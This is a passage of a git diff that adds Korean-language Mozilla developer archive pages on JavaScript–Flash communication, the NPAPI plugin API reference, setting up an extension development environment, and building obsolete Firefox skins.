예제 1에서는 JavaScript 문자열의 RegExp (정규 표현식) 개체를 사용합니다. description 문자열은 match 메소드 호출로 인해 구성요소별로 나누어져 배열에 들어갑니다. 여기 사용된 정규 표현식은 문자열이 Flash Major rMinor 같은 식으로 구성되어 있을 것이라고 가정합니다. Major는 "5"나 "6" 같은 메이저 버전 번호이고, Minor는 마이너 버전 번호입니다. 또 예제 1에서는 flashVersionOSXScriptable 상수를 만들어서 12를 할당하는데, 이것은 OS X용 Mach-O 브라우저에서 Flash를 스크립트로 제어할 수 있도록 수정된 Flash 버전이 12일 것이라고 임의로 정한 것입니다. 12 정도면 충분히 큰 버전 번호라고 생각됩니다(현재 버전은 6r.79입니다). Mac OS X에 있는 문제점이 언제 수정될 지 정보를 얻게 된다면 flashVersionOSXScriptable 상수를 좀 더 정확한 값으로 바꿀 수 있을 것입니다. 이 예제를 실제로 구현한 코드는 flashversion.js 파일을 보시면 됩니다.

+ +

HTML을 제대로 사용하기

+ +

Netscape Gecko 브라우저에서 object 요소나 embed 요소를 사용하면 플러그인을 불러낼 수 있습니다. object 요소는 W3C HTML 4 표준에 포함된 반면 embed 요소는 사용하지 않기를 권장하는 요소입니다. 플러그인을 불러올 때 올바른 마크업 사용하기(Using the Right Markup to Invoke Plugins)에서 관련된 논의를 볼 수 있습니다. 그러나 FSCommand를 이용해서 HTML 페이지에 포함된 JavaScript 함수를 실행하려면 embed 요소를 써야 합니다.

+ +

JavaScript에서 Flash에 접근하기

+ +

아래에 있는 간단한 예제는 HTML 텍스트 상자에 입력한 내용을 Flash 애니메이션(아래의 회색 텍스트 상자)으로 전달하는 방법을 보여줍니다.

+ +

예제 2: JavaScript to Flash Communication

+ +

참고: 사용자가 컴퓨터 한 대에 Mozilla 기반 브라우저를 여러 개 설치했다면, JavaScript에서 Flash로의 통신 방법은 버전 8보다 이전에 나온 Flash Player에서는 동작하지 않을 수도 있습니다. (see {{ Bug(284057) }} and {{ Bug(233533) }})

+ +

아래에 있는 HTML 텍스트 상자에 아무 텍스트나 넣은 다음 텍스트 상자 밖을 마우스로 클릭하거나 엔터키를 누르면 입력한 텍스트가 Flash로 전달됩니다.

+ +
The example is missing.
+
+ +

예제 2에서는 Macromedia Flash에 미리 정의된 SetVariable 메소드를 사용했습니다. 일반적으로 Netscape Gecko 브라우저에서 Macromedia에서 Flash에 미리 정의해 놓은 메소드를 호출하려면,

+ + + +
<object id="myFlash" ..... >
+<param name="movie" value="somefile.swf" />
+
+....
+
+var myFlash = document.getElementById("myFlash").SetVariable("myVar", sendText);
+
+ +


+ 예제 2가 어떻게 만들어졌는지 보여주는 더 확장된 코드는 이 파일에서 볼 수 있습니다.

+ +

FSCommand: Flash에서 JavaScript에 접근하기

+ +

참고: 사용자가 컴퓨터 한 대에 Mozilla 기반 브라우저를 여러 개 설치했다면, 버전 8보다 이전에 나온 Flash Player에서는 FSCommand가 동작하지 않을 수도 있습니다. (see {{ Bug(284057) }} and {{ Bug(233533) }})

+ +

예제 2에서, 플러그인을 생성한 HTML(object 요소 또는 embed 요소)의 핸들을 JavaScript 함수에서 일단 얻었습니다. 그 후에 핸들을 이용해서 Flash 플러그인에서 공개된 메소드를 호출했습니다. FSCommand를 이용하면 Macrodedia ActionScript 언어에서 Flash 애니메이션을 포함하는 환경(HTML 페이지 등)에 콜백을 보낼 수 있습니다. 다음의 예제에서 두 가지 통신 방법이 실제로 동작하는 모습을 볼 수 있습니다.

+ +

예제 3: JavaScript에서 Flash로 통신 방법과 FSCommand -- Flash에서 JavaScript로 통신 방법

+ +
The example is missing.
+
+ +

예제 3에서는 HTML 버튼을 클릭하면 Flash 애니메이션에 있는 공이 움직입니다. 이것은 JavaScript에서 Flash로의 통신을 보여주는 것입니다. HTML 버튼을 클릭하면 JavaScript 이벤트가 발생하고 그 이벤트가 Flash 애니메이션을 움직이게 합니다. 더 아래쪽에서, 색이 칠해진 탭을 클릭하면 HTML 페이지의 전체 색깔이 바뀝니다. 이것은 반대 방향으로의 통신 즉, Flash 애니메이션이 자신을 포함하고 있는 HTML 페이지에 뭔가 영향을 준다는 것을 보여줍니다.

+ +

예제 3에서 FSCommand의 사용법을 볼 수 있습니다. Netscape Gecko 브라우저에서 Flash 애니메이션을 HTML 페이지에 포함시키고 FSCommand를 사용하려고 한다면, 반드시 embed 요소를 사용해야만 합니다. IE도 지원하려면 object 요소 안에 embed 요소를 포함시킬 수 있습니다. 앞으로 나올 Flash 플러그인은 Netscape Gecko 브라우저에서도 object 요소와 함께 FSCommand를 사용할 수 있게 될 수도 있습니다. 이 문제는 Mozilla 프로젝트의 {{bug(184722) }}에 관리중입니다.

+ +

Flash 애니메이션 안에서 색깔을 클릭하면 전체 페이지의 배경색이 토글됩니다. 클릭을 하면 Flash를 포함하는 외부 환경(즉 HTML 페이지)에 콜백을 보내게 되고, 콜백을 처리할 JavaScript 메소드를 찾게 됩니다. Flash 애니메이션의 ActionScript 함수를 호출함으로써 콜백을 보내는 것입니다. 이 콜백을 처리할 JavaScript 함수 이름은 Flash 플러그인이 찾을 수 있는 특별한 이름을 가져야 합니다. embed요소의 이름에 밑줄("_")과 "DoFSCommand"라는 문자열을 붙인 함수 이름이 바로 그것입니다. 예제 3에서 사용된 기법을 보여주는 간단한 코드가 아래에 있습니다.

+ +
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
+codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0"
+id="myFlash" width="250" height="150" VIEWASTEXT>
+
+ <param name="movie" value="js2flash.swf" />
+ <param name="quality" value="high"></param>
+
+  <embed src="js2flash.swf" width="250" height="150" swLiveConnect="true"
+  quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer"
+  type="application/x-shockwave-flash" name="myFlash">
+  </embed>
+
+</object>
+ .....
+
+function myFlash_DoFSCommand(command, args)
+{
+	// Flash 애니메이션에 여러분이 만들어놓은 모든 콜백을 처리합니다
+	// Flash 플러그인이 command와 args에 값을 전달해 줄 것입니다.
+	// Flash 애니메이션이 보내는 모든 정보를 처리하는 함수가 바로 이 함수입니다
+	// FSCommand만 있으면 ActionScript가 JavaScript와 통신할 수 있습니다!
+}
+
+ +

위의 코드에서, Flash에서 보낸 것을 처리하는 JavaScript 함수는 embed 요소의 name 속성에 "_DoFSCommand" 문자열을 덧붙여서 만든 이름을 가지고 있습니다. 이 예제의 전체 소스는 flash-to-js.html에서 볼 수 있습니다. Macromedia ActionScript 사전을 보면 Flash 애니메이션 코드에서 FSCommand를 사용할 때 참고할 만한 내용이 있습니다.

+ +

Additional References

+ +

Macromedia Flash Developer Documentation

+ + + +

MDC Resources

+ + + +

Notable Bugs

+ + diff --git a/files/ko/mozilla/add-ons/plugins/reference/index.html b/files/ko/mozilla/add-ons/plugins/reference/index.html new file mode 100644 index 0000000000..fcb2ba7232 --- /dev/null +++ b/files/ko/mozilla/add-ons/plugins/reference/index.html @@ -0,0 +1,16 @@ +--- +title: NPAPI plugin reference +slug: Mozilla/Add-ons/Plugins/Reference +tags: + - Deprecated + - Landing + - NPAPI + - NeedsTranslation + - Plugins + - Reference + - TopicStub +translation_of: Archive/Plugins/Reference +--- +

{{deprecated_header}}

+

The articles below describe each of the APIs related to NPAPI plugins.

+

{{LandingPageListSubpages}}

diff --git a/files/ko/mozilla/add-ons/plugins/reference/np_getmimedescription/index.html b/files/ko/mozilla/add-ons/plugins/reference/np_getmimedescription/index.html new file mode 100644 index 0000000000..ca0c233725 --- /dev/null +++ b/files/ko/mozilla/add-ons/plugins/reference/np_getmimedescription/index.html @@ -0,0 +1,38 @@ +--- +title: NP GetMIMEDescription +slug: Mozilla/Add-ons/Plugins/Reference/NP_GetMIMEDescription +translation_of: Archive/Plugins/Reference/NP_GetMIMEDescription +--- +

NP_GetMIMEDescription 플러그인이 지원하는 MIME Type 목록을 리턴합니다. Unix (Linux) 와 MacOS 에서 동작합니다. Windows에서는 지원하는 mimetype을 dll 리소스 파일에 정의하여야합니다.

+

각각의 MIME type에 대한 서술은 세미콜론(;)으로 구분되어야 합니다.
+ 각각의 Mime type에 대한 서술은 Mime type, 확장목록 그리고 간략한 설명을 포함합니다.

+

하나의 MIME type 를 사용한 경우

+
// example inside http://mxr.mozilla.org/mozilla-central/source/modules/plugin/sdk/samples/basic/unix/plugin.cpp
+#define MIME_TYPE_DESCRIPTION "application/basic-plugin:bsp:Basic Example Plug-in for Mozilla"
+const char* NP_GetMIMEDescription(void)
+{
+  return(MIME_TYPES_DESCRIPTION);
+}
+

둘의 MIME type 를 사용한 경우

+
const char* NP_GetMIMEDescription(void)
+{
+  return "application/basic-example-plugin:xmp1:Example 1;application/basic-example2-plugin:xmp2, xm2p:Example 2";
+}
+

Gnome Integration

+

GNOME VFS (gnome-vfs-2.0)를 사용하는 경우라면, 아래 함수를 이용하여 MIME type description 을 얻을수 있습니다.

+
#include <libgnomevfs/gnome-vfs-mime-handlers.h>
+#include <libgnomevfs/gnome-vfs-mime-info.h>
+#include <libgnomevfs/gnome-vfs-utils.h>
+
+// const char* gnome_vfs_mime_get_description (const char *mime_type);
+const char* desc = gnome_vfs_mime_get_description ("audio/ogg");
+

If you use GNOME GIO (gio-2.0), you can get the MIME type description too.

+
#include <gio/gio.h>
+const char* desc = g_content_type_get_description("audio/ogg");
+

JavaScript

+

아래 코드를 이용하여 웹 페이지 내에서, MIME Type에 대한 정보를 얻을 수 있습니다.

+
var mimetype = navigator.mimeTypes['application/basic-example-plugin'];
+if (mimetype) {
+  alert(mimetype.type + ':' + mimetype.suffixes + ':' + mimetype.description);
+}
+
diff --git a/files/ko/mozilla/add-ons/plugins/reference/npn_posturlnotify/index.html b/files/ko/mozilla/add-ons/plugins/reference/npn_posturlnotify/index.html new file mode 100644 index 0000000000..c60a613113 --- /dev/null +++ b/files/ko/mozilla/add-ons/plugins/reference/npn_posturlnotify/index.html @@ -0,0 +1,76 @@ +--- +title: NPN_PostURLNotify +slug: Mozilla/Add-ons/Plugins/Reference/NPN_PostURLNotify +translation_of: Archive/Plugins/Reference/NPN_PostURLNotify +--- +

« Gecko Plugin API Reference « Plug-in Side Plug-in API + + +

개요

+ +

지정한 URL로 POST 호출하고, 결과 알림을 받는다.

+ +

문법

+ +
#include <npapi.h>
+
+NPError NPN_PostURLNotify(NPP         instance,
+                          const char* url,
+                          const char* target,
+                          uint32      len,
+                          const char* buf,
+                          NPBool      file,
+                          void*       notifyData);
+
+ +

파라메터

+ +

함수는 다음과 같은 파라메터를 입력받는다:

+ +
+
instance
+
현재 플러그인 인스턴스, specified by the plug-in.
+
url
+
POST 호출할 URL, 플러그인.
+
target
+
대상 윈도우, specified by the plug-in. 자세한 설명은 NPN_GetURL을 보라.
+
len
+
buf의 길이.
+
buf
+
로컬 임시 파일 경로, 또는 POST로 전송할 데이터 버퍼.
+
file
+
파일을 POST로 전송할지 여부: +
    +
  • true: buf에 지정된 로컬 파일을 전송하고, 완료되면 파일은 삭제한다.
  • +
  • false: buf에 있는 데이터를 직접 전송한다.
  • +
+
+
notifydata
+
POST 요청을 식별하기 위한 값. NPP_URLNotify의 호출에 의해 이 값이 전달된다. (아래 설명을 보라).
+
+ +

반환값

+ + + +

설명

+ +

NPN_PostURLNotify 함수는 NPN_PostURL와 거의 같지만, 다음과 같은 차이가 있다:

+ + + +

NPN_PostURLNotify는 비동기로 동작한다: 함수는 바로 리턴되고, 요청이 처리되면 NPP_URLNotify를 호출한다.

+ +

If this function is called with a target parameter value of _self or a parent to _self, this function should return an INVALID_PARAM NPError. This is the only way to notify the plug-in once it is deleted. See NPN_GetURL for information about this parameter.

+ +

참고

+ + diff --git a/files/ko/mozilla/add-ons/setting_up_extension_development_environment/index.html b/files/ko/mozilla/add-ons/setting_up_extension_development_environment/index.html new file mode 100644 index 0000000000..4d42077d04 --- /dev/null +++ b/files/ko/mozilla/add-ons/setting_up_extension_development_environment/index.html @@ -0,0 +1,89 @@ +--- +title: 확장기능 개발 환경 구축 +slug: Mozilla/Add-ons/Setting_up_extension_development_environment +translation_of: Archive/Add-ons/Setting_up_extension_development_environment +--- +

이 글에는 확장기능 개발을 위한 Mozilla 응용프로그램 설정 방법을 제공합니다. 특별한 지정하지 않는 한 이 방법들은 Firefox와 Thunderbird 뿐만 아니라 SeaMonkey 버전 2.0 이상에서도 적용가능합니다.

+

개요

+ +

개발용 프로필

+

개발 단계에서 성능저하를 방지하려면 환경 설정 및 확장과 관련된 개인 데이터의 손실을 피하기 위해 개발 작업을 위한 별도의 프로필을 사용 할 수 있습니다.

+

별도의 프로필과 -no-remote 매개 변수와 함께 응용 프로그램을 구동하여 같은 시간에 Thunderbird 또는 Firefox 의 두 개의 인스턴스를 실행 할 수 있습니다.

+

우분투:

+
/usr/bin/firefox -no-remote -P dev
+

다른 리눅스 배포판:

+
/usr/local/bin/firefox -no-remote -P dev
+
+

맥킨토시:

+
/Applications/Firefox.app/Contents/MacOS/firefox-bin -no-remote -P dev &
+
+

윈도우즈:

+
시작 -> 실행 "%ProgramFiles%\Mozilla Firefox\firefox.exe" -no-remote -P dev
+
+

Firefox 대신에 Thunderbird 또는 SeaMonkey를 시작 하려면 , 위의 예제에서 "firefox" 대신 "thunderbird" 또는 "seamonkey" 으로 대체합니다.

+

프로필 지정이 존재 하지 않는 경우 (또는 프로필을 지정 안하는 경우), Thunderbird 또는 Firefox 프로필 관리자가 표시됩니다. 기본 프로필로 실행 하기위해 프로필을 "default"로 지정합니다. (또는 "-P 를 생략합니다.).

+

(There is a thread in the Mozillazine forums that explains how to use both stable and development versions of Firefox to check extension compatibility. See Installing Firefox 3 or Minefield while keeping Firefox 2.)

+

개발용 설정

+

There is a set of development preferences that, when enabled, allows you to view more information about application activity, thus making debugging easier. However,  these preferences can degrade performance, so you may want to use a separate development profile when you enable these preferences. For more information about Mozilla preferences, refer to the mozillaZine article on "about:config".

+

Not all preferences are defined by default, and are therefore not listed in about:config by default. You will have to create new (boolean) entries for them.

+ +

Accessing Firefox development preferences

+

To change preference settings in Firefox or SeaMonkey, type about:config in the Location Bar. Alternatively, use the Extension Developer's Extension, which provides a menu interface for Firefox settings.

+

Accessing Thunderbird development preferences

+

To change preference settings in Thunderbird, open the "Preferences" (Unix) or "Options" (Windows) interface. On the "Advanced" page, select the "General" tab then click the "Config Editor" button.

+

개발에 도움되는 확장 기능

+

이 확장 기능들이 당신이 개발을 할때 도움을 줄 수 있습니다.

+ +

 

+

Firefox extension proxy file

+

Extension files are normally installed in the user profile. However, it is usually easier to place extension files in a temporary location, which also  protects source files from accidental deletion. This section explains how to create a proxy file that points to an extension that is installed in a location other than the user profile.

+
    +
  1. Get the extension ID from the extension's install.rdf file.
  2. +
  3. Create a file in the "extensions" directory under your profile directory with the extension's ID as the file name (for example "your_profile_directory/extensions/{46D1B3C0-DB7A-4b1a-863A-6EE6F77ECB58}"). (How to find your profile directory) Alternatively, rather than using a GUID, create a unique ID using the format "name@youremail" (for example chromebug@mydomain.com).
  4. +
  5. The contents of this file should be the path to the directory that contains your install.rdf file. (eg. "/full/path/to/yourExtension/". Windows users should use the drive name (CAPS) and backslashes instead of frontslashes (for example "C:\full\path\to\yourExtension\" or "C:\sam\workspace\toolbar\helloWorldtoolbar\").Remember to include the closing slash and remove any trailing whitespace. +
      +
    • In Firefox 3, if you already installed the extension via XPI, you might need to install one or all of the extensions.* files in the profile folder. Backup first, but these files will be regenerated. (I don't know what the original author had in mind here, but the files extensions.cache, extensions.ini, extensions.rdf, compreg.dat, and xpti.dat are all regenerated by Firefox if deleted. You need to delete them if you mess with 'components', no harm done. Firefox will disconnect from its parent process when it regens these files, so you may have to exit once and restart if you use the OS console.)
    • +
    +
  6. +
  7. Place the file in the extensions folder of your profile and restart the application.
  8. +
+

Using directories rather than JARs

+

Regardless of whether you choose to eventually package your extension's chrome in a JAR or in directories, developing in directories is simpler. If you choose a JARed structure for releasing, you can still develop with a directory structure by editing your chrome.manifest. For example, rather than having

+
content	myExtension	jar:chrome/myExtension.jar!/content/
+
+

use

+
content	myExtension	chrome/content/
+
diff --git a/files/ko/mozilla/add-ons/themes/index.html b/files/ko/mozilla/add-ons/themes/index.html new file mode 100644 index 0000000000..58c574d51f --- /dev/null +++ b/files/ko/mozilla/add-ons/themes/index.html @@ -0,0 +1,64 @@ +--- +title: Themes +slug: Mozilla/Add-ons/Themes +tags: + - Add-ons + - Look & Feel + - NeedsTranslation + - Themes + - TopicStub +translation_of: Mozilla/Add-ons/Themes +--- +

Themes are skins for different Mozilla applications. They allow you to change the look and feel of the user interface and personalize it to your tastes. A theme can simply change the colors of the UI or it can change every piece of its appearance. The Theme documentation here is out of date, but we're hoping to get some help to update it soon.

+
+
+

Documentation

+
+
+ Building a Theme
+
+ A tutorial for building a simple theme in Firefox.
+
+ Common Theme Issues and Their Solutions
+
+ Common issues seen when AMO editors review themes and how to fix them.
+
+ Lightweight themes
+
+ Building lightweight themes for Firefox
+
+ Creating a Skin for SeaMonkey 2
+
+ An introduction to creating new themes for SeaMonkey 2.
+
+ Making Sure Your Theme Works with RTL Locales
+
+ How to make sure your theme will look right with Hebrew, Arabic, Persian and Urdu locales.
+
+ Theme Packaging
+
+ How to package themes for Firefox and Thunderbird.
+
+ Yet Another Theme Tutorial
+
+ Another tutorial in Mozilla theme construction.
+
+ Obsolete docs
+
+ These docs are very old and will never be updated, but we've kept them in case the are useful source material for people updating the Theme documentation.
+
+
+
+

Getting help

+ +

Tools

+ +
+
+

 

diff --git a/files/ko/mozilla/add-ons/themes/obsolete/creating_a_skin_for_firefox/contents.rdf/index.html b/files/ko/mozilla/add-ons/themes/obsolete/creating_a_skin_for_firefox/contents.rdf/index.html new file mode 100644 index 0000000000..a5cb662916 --- /dev/null +++ b/files/ko/mozilla/add-ons/themes/obsolete/creating_a_skin_for_firefox/contents.rdf/index.html @@ -0,0 +1,44 @@ +--- +title: contents.rdf +slug: Mozilla/Add-ons/Themes/Obsolete/Creating_a_Skin_for_Firefox/contents.rdf +translation_of: Archive/Themes/Creating_a_Skin_for_Firefox/contents.rdf +--- +

다음 내용을 복사하여 빈 텍스트 파일에 붙여넣고, "contents.rdf" 라는 이름으로 저장하세요:

+
<?xml version="1.0"?>
+
+<RDF:RDF xmlns:RDF="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+     xmlns:chrome="http://www.mozilla.org/rdf/chrome#">
+
+  <!-- List all the skins being supplied by this theme -->
+  <RDF:Seq about="urn:mozilla:skin:root">
+    <RDF:li resource="urn:mozilla:skin:My_Theme"/>
+  </RDF:Seq>
+
+  <RDF:Description about="urn:mozilla:skin:My_Theme"
+        chrome:displayName="My Theme"
+        chrome:accessKey="N"
+        chrome:author=""
+        chrome:authorURL=""
+        chrome:description=""
+        chrome:name="My_Theme"
+        chrome:image="preview.png" >
+   <chrome:packages>
+      <RDF:Seq about="urn:mozilla:skin:My_Theme:packages">
+        <RDF:li resource="urn:mozilla:skin:My_Theme:browser"/>
+        <RDF:li resource="urn:mozilla:skin:My_Theme:communicator"/>
+        <RDF:li resource="urn:mozilla:skin:My_Theme:global"/>
+        <RDF:li resource="urn:mozilla:skin:My_Theme:mozapps"/>
+        <RDF:li resource="urn:mozilla:skin:My_Theme:help"/>
+      </RDF:Seq>
+    </chrome:packages>
+  </RDF:Description>
+
+  <!-- Version Information.  State that we work only with major version 1 of this package. -->
+  <RDF:Description chrome:skinVersion="1.5" about="urn:mozilla:skin:My_Theme:browser"/>
+  <RDF:Description chrome:skinVersion="1.5" about="urn:mozilla:skin:My_Theme:communicator"/>
+  <RDF:Description chrome:skinVersion="1.5" about="urn:mozilla:skin:My_Theme:global"/>
+  <RDF:Description chrome:skinVersion="1.5" about="urn:mozilla:skin:My_Theme:mozapps"/>
+  <RDF:Description chrome:skinVersion="1.5" about="urn:mozilla:skin:My_Theme:help"/>
+</RDF:RDF>
+
+

{{ languages( { "fr": "fr/Cr\u00e9er_un_th\u00e8me_pour_Firefox/contents.rdf" } ) }}

diff --git a/files/ko/mozilla/add-ons/themes/obsolete/creating_a_skin_for_firefox/getting_started/index.html b/files/ko/mozilla/add-ons/themes/obsolete/creating_a_skin_for_firefox/getting_started/index.html new file mode 100644 index 0000000000..364b93fcf2 --- /dev/null +++ b/files/ko/mozilla/add-ons/themes/obsolete/creating_a_skin_for_firefox/getting_started/index.html @@ -0,0 +1,108 @@ +--- +title: Getting Started +slug: Mozilla/Add-ons/Themes/Obsolete/Creating_a_Skin_for_Firefox/Getting_Started +translation_of: Archive/Mozilla/Creating_a_skin_for_Mozilla/Getting_Started +--- +

설정

+

최신 버전의 파이어폭스를 다운로드하여 설치하세요. DOM Inspector도 함께 설치합니다.

+

테마 압축 풀기

+

이미 기존에 파이어폭스에서 사용할 수 있도록 만들어진 어떤 테마를 살펴보더라도, 파이어폭스의 기본 테마인 Winstripe와의 일관성을 발견할 수 있다. 이 테마는 파이어폭스의 설치 디렉토리에 존재하는 <tt>classic.jar</tt> 파일 안에 들어 있다. .jar 파일은 zip과 확장자만 다르지 그 압축 구조는 같기 때문에 일반적인 zip 압축 프로그램을 사용하여 풀어볼 수 있다. 만약에 압축 프로그램에서 .jar를 지원하지 않는다면 <tt>classic.zip</tt>과 같이 파일 이름을 바꾸고 압축을 해제할 수 있다.

+
Classic.jar 의 위치 찾기
+

Linux: /usr/lib/MozillaFirefox/chrome/classic.jar

+

Windows: \Program Files\Mozilla Firefox\chrome\classic.jar

+

Mac OS X:

+ +

<tt>classic.jar</tt>를 다른 쉽게 접근할 수 있는 폴더로 이동합니다. <tt>Classic</tt>를 추천합니다. 그리고 그 폴더에서 압축을 풀어 놓습니다.

+

classic.jar의 내부를 들여다봅시다

+

<tt>classic.jar</tt>의 압축을 풀어보면 <tt>skin</tt> 디렉토리와, <tt>preview.png</tt>, 그리고 <tt>icon.png</tt> 파일이 들어 있습니다.

+
+
+ <tt>skin</tt>
+
+ 이 디렉토리 안에는 스킨을 이용하는 모든 훌륭한 재료들을 포함하는 <tt>classic</tt> 디렉토리가 있습니다.
+
+ <tt>classic</tt>
+
+ <tt>classic</tt> 디렉토리는 다음과 같은 디렉토리들을 포함합니다.
+
+ <tt>browser</tt>
+
+ <tt>browser</tt> 디렉토리에는 툴바 아이콘들이 들어 있습니다. 북마크 관리자나 설정창에 사용되는 아이콘도 여기에 들어 있습니다.
+
+ <tt>global</tt>
+
+ <tt>global</tt> 디렉토리는 테마에서 특별히 중요한 부분으로, 브라우저의 외관을 설정하는 중요한 CSS 파일을 담고 있습니다.
+
+ <tt>mozapps</tt>
+
+ <tt>mozapps</tt> 디렉토리에는 브라우저와 확장 관리자, 업데이트 마법사를 위한 스타일 및 아이콘이 들어 있습니다.
+
+ <tt>help</tt>
+
+ 이 디렉토리에는 헬프 윈도우에 필요한 테마 파일들이 들어 있습니다.
+
+ <tt>communicator</tt>
+
+ 이 디렉토리의 내용은 사용되지 않으며 추후 삭제될 것입니다.
+
+

새로운 테마 설치하기

+

아무래도 라이브 에디트를 설정하는 것에 부분부분 어려운 점이 있다보니, 일단은 직접 파이어폭스 테마를 만들며 변화하는 모습을 지켜보기 전에 기존의 테마를 설치할 수 있는 상태로 리패키징하는 법을 먼저 배우는 것이 좋겠습니다. 이 부분에서 우리는 작업에 필요한 테마를 "My_Theme"라고 부를 것이지만, 다른 이름으로 불러도 자유입니다.

+
필요한 파일 복사하기
+

먼저 첫번째 과정은 필요한 모든 파일을 올바른 디렉토리 구조로 옮겨넣는 것입니다. <tt>My_Theme</tt>라는 이름의 디렉토리를 하나 만드세요. 이 디렉토리로 들어가 <tt>browser</tt>, <tt>global</tt>, <tt>communicator</tt>, <tt>help</tt>, 그리고 <tt>mozapps</tt>와 같은 이름의 디렉토리들을 만듭니다. <tt>classic.jar</tt> 파일을 열어 보았을 때와 같은 구조이지요, 여기에다가 <tt>icon.png</tt> 파일과 <tt>preview.png</tt> 파일을 만들어 넣습니다.

+
설치 파일 만들기
+
Contents.rdf
+

contents.rdf 파일을 <tt>\My_Theme</tt> 디렉토리에 집어넣고 텍스트 에디터를 사용하여 열어보겠습니다. 이 파일은 스킨에 대해 기술해 놓은 작은 XML 데이터베이스로 이루어져 있습니다.

+

이 파일에는 "My_Theme"의 구성 요소들을 찾아볼 수 있고, 이 내용을 새로 만드는 테마에 맞추어 이름을 바꿀 수도 있습니다.

+

패키지 섹션은 당신이 변경하는 브라우저의 컴포넌트를 목록으로 나타냅니다. 챗질라에서도 이 스킨을 사용한다면 우리는 챗질라에 맞추기 위해 몇 줄을 추가하거나 바꾸어야 할 것입니다. 그러나 지금의 목록은 우리가 변경한 모든 것을 반영하고 있으므로, 이 섹션에서 이전 것을 사용하였던 부분에 대해서면 여기서 파란 색으로 표시된 부분에 이름과 버전에 맞게 변경해주면 됩니다.

+
<RDF:li resource="urn:mozilla:skin:My_Theme:communicator"/>
+<RDF:li resource="urn:mozilla:skin:My_Theme:editor"/>
+<RDF:li resource="urn:mozilla:skin:My_Theme:global"/>
+<RDF:li resource="urn:mozilla:skin:My_Theme:messenger"/>
+<RDF:li resource="urn:mozilla:skin:My_Theme:navigator"/>
+
+

파일을 저장하고 에디터를 종료합니다.

+
install.rdf
+

install.rdf를 복사하여 My_Theme 디렉토리 안에 집어넣습니다. 그리고 이 파일을 텍스트 에디터로 열어봅니다. 이 파일은 스킨에 대해 기술해 놓은 작은 XML 데이터베이스 파일입니다.

+
  <Description about="urn:mozilla:install-manifest">
+  <em:id>{Themes_UUID}</em:id>
+  <em:version>Themes_Version</em:version>
+
+

첫 섹션은 당신의 테마를 위하여 UUID를 확립하고 버전을 부여하는 부분을 포함합니다. 이런 내용을 입력하고 스크롤을 내려봅니다. 또한 당신은 타겟 어플리케이션, 여기서는 파이어폭스가 되겠지요. 이 스킨을 사용할 수 있는 파이어폭스의 버전 범위를 명기해야 합니다. 다음과 같이 말이지요.

+
  <em:targetApplication>
+    <Description>
+      <!-- Firefox's UUID -->
+      <em:id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</em:id>
+      <em:minVersion>Min_FF_Version</em:minVersion>
+      <em:maxVersion>Max_FF_Version</em:maxVersion>
+    </Description>
+  </em:targetApplication>
+
+

위와 같은 문제들을 해결하였다면 버전으로 인하여 테마가 깨지거나 엉망이 되는 문제는 피할 수 있을 것입니다.

+

CSS 파일

+

이들 디렉토리에 들어있는 CSS 파일은 브라우저의 어느 부분에 그림을 넣고, 버튼이나 컨트롤의 테두리나 두께 등을 정의하여 어떻게 보일지를 지정하는 데 사용됩니다. 그러면 예를 들어서 표준 버튼을 한번 바꾸어 봅시다.

+

<tt>global</tt> 디렉토리로 들어가 <tt>button.css</tt> 파일을 텍스트 에디터로 열어봅시다. 스크롤바를 내려 button { 으로 시작되는 섹션을 찾아봅시다. 이 섹션은 기본 상태, 그러니까 마우스를 위로 올리거나 선택하지 않았고, 그렇다고 사용중지 상태도 아닌 일반적인 버튼의 모양을 정의하는 섹션입니다.

+

background-color: 부분에 DarkBlue를 입력하고, color: 부분에 White 라고 입력한 뒤 파일을 저장합시다. 다른 몇 가지 테스트를 더 해볼 수도 있을 것입니다.

+

JAR 파일로 리패키징하기

+

이제 다음과 같은 디렉토리 구조를 JAR 파일로 리패키징하는 일만 남았습니다. 좋아하는 압축 프로그램을 사용하여 다음 구조를 zip으로 압축합시다:

+
/browser/*
+/communicator/*
+/global/*
+/help/*
+/mozapps/*
+/contents.rdf
+/install.rdf
+/icon.png
+/preview.png
+  
+

이 상태로 그냥 묶는 것이 아니라, 이 구조가 들어있는 부모 디렉토리인 <tt>My_Theme</tt>째 묶어야 설치할 때 에러 메시지를 보지 않을 수 있을 것입니다.

+

웹에서 바로 설치할 수 있도록 만들려면

+

일단 JAR 파일을 웹에 올리고, 클릭하면 바로 설치할 수 있도록 만들기 위해 자바스크립트 하나를 살펴보겠습니다.

+
<a href='javascript:InstallTrigger.installChrome(InstallTrigger.SKIN,
+ "myskin.jar", "My Skin Theme")'>누르면 스킨이 설치됩니다</a>
+
+

하드 디스크에 JAR 형태로 존재하는 스킨 파일을 설치하려면 웹 인스톨러 를 사용하여 해당 파일을 업로드하고 바로 실치할 수 있습니다. 혹은 모질라에서 테마 윈도우를 띄우고 .jar 파일을 끌어당겨 놓을 수도 있습니다.

+

{{ languages( { "es": "es/Creando_un_skin_para_Firefox/Como_empezar", "fr": "fr/Cr\u00e9er_un_th\u00e8me_pour_Firefox/Premiers_pas" } ) }}

diff --git a/files/ko/mozilla/add-ons/themes/obsolete/creating_a_skin_for_firefox/index.html b/files/ko/mozilla/add-ons/themes/obsolete/creating_a_skin_for_firefox/index.html new file mode 100644 index 0000000000..469fd9043b --- /dev/null +++ b/files/ko/mozilla/add-ons/themes/obsolete/creating_a_skin_for_firefox/index.html @@ -0,0 +1,27 @@ +--- +title: Creating a Skin for Firefox +slug: Mozilla/Add-ons/Themes/Obsolete/Creating_a_Skin_for_Firefox +tags: + - Add-ons + - Themes +translation_of: Archive/Themes/Creating_a_Skin_for_Firefox +--- +

들어가며

+

파이어폭스에서 사용할 스킨을 만들 때는 이미지 편집과 압축 해제, 그리고 CSS 수정에 대해 알고 있어야 합니다. 파이어폭스는 표준 GIF와 PNG, 그리고 JPEG 이미지 포맷을 버튼에 사용하며, 인터페이스의 스타일을 만들기 위해 CSS를 사용합니다.

+

그러면 스킨이 뭔데?

+

